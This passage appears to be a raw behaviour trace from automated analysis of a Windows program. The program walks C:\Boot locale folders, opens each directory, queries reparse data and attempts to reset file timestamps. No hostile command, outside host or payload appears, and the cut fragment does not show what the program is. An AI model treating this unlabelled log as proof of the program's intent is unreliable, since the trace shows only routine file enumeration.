RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.915] GetLastError () returned 0x12 [0138.916] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.916] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.916] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.916] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.916] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.916] GetLastError () returned 0x12 [0138.916] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.916] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.916] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.916] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.916] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0138.916] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.916] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.916] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.916] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.917] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.917] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.917] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.917] NtClose (Handle=0x15c) returned 0x0 [0138.917] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.917] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.917] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.917] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.917] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.917] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.917] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.917] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.917] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.918] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.918] GetLastError () returned 0x12 [0138.918] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.918] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.918] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.918] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.918] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.918] GetLastError () returned 0x12 [0138.918] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.918] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.918] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.918] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.918] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0138.918] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.946] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.946] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.946] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.946] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.946] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.946] NtClose (Handle=0x194) returned 0x0 [0138.946] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.946] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.947] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.947] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.947] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984340 [0138.947] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984a00 [0138.947] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.947] GetLastError () returned 0x12 [0138.947] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.948] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.948] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.948] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.948] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.948] GetLastError () returned 0x12 [0138.948] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.948] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.948] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.948] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.948] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0138.948] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0138.948] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.948] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.948] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.948] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.948] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.948] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.948] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.949] NtClose (Handle=0x15c) returned 0x0 [0138.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.949] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984360 [0138.949] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984a88 [0138.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.949] GetLastError () returned 0x12 [0138.949] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.949] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.949] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.949] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.949] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.949] GetLastError () returned 0x12 [0138.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.950] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.950] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 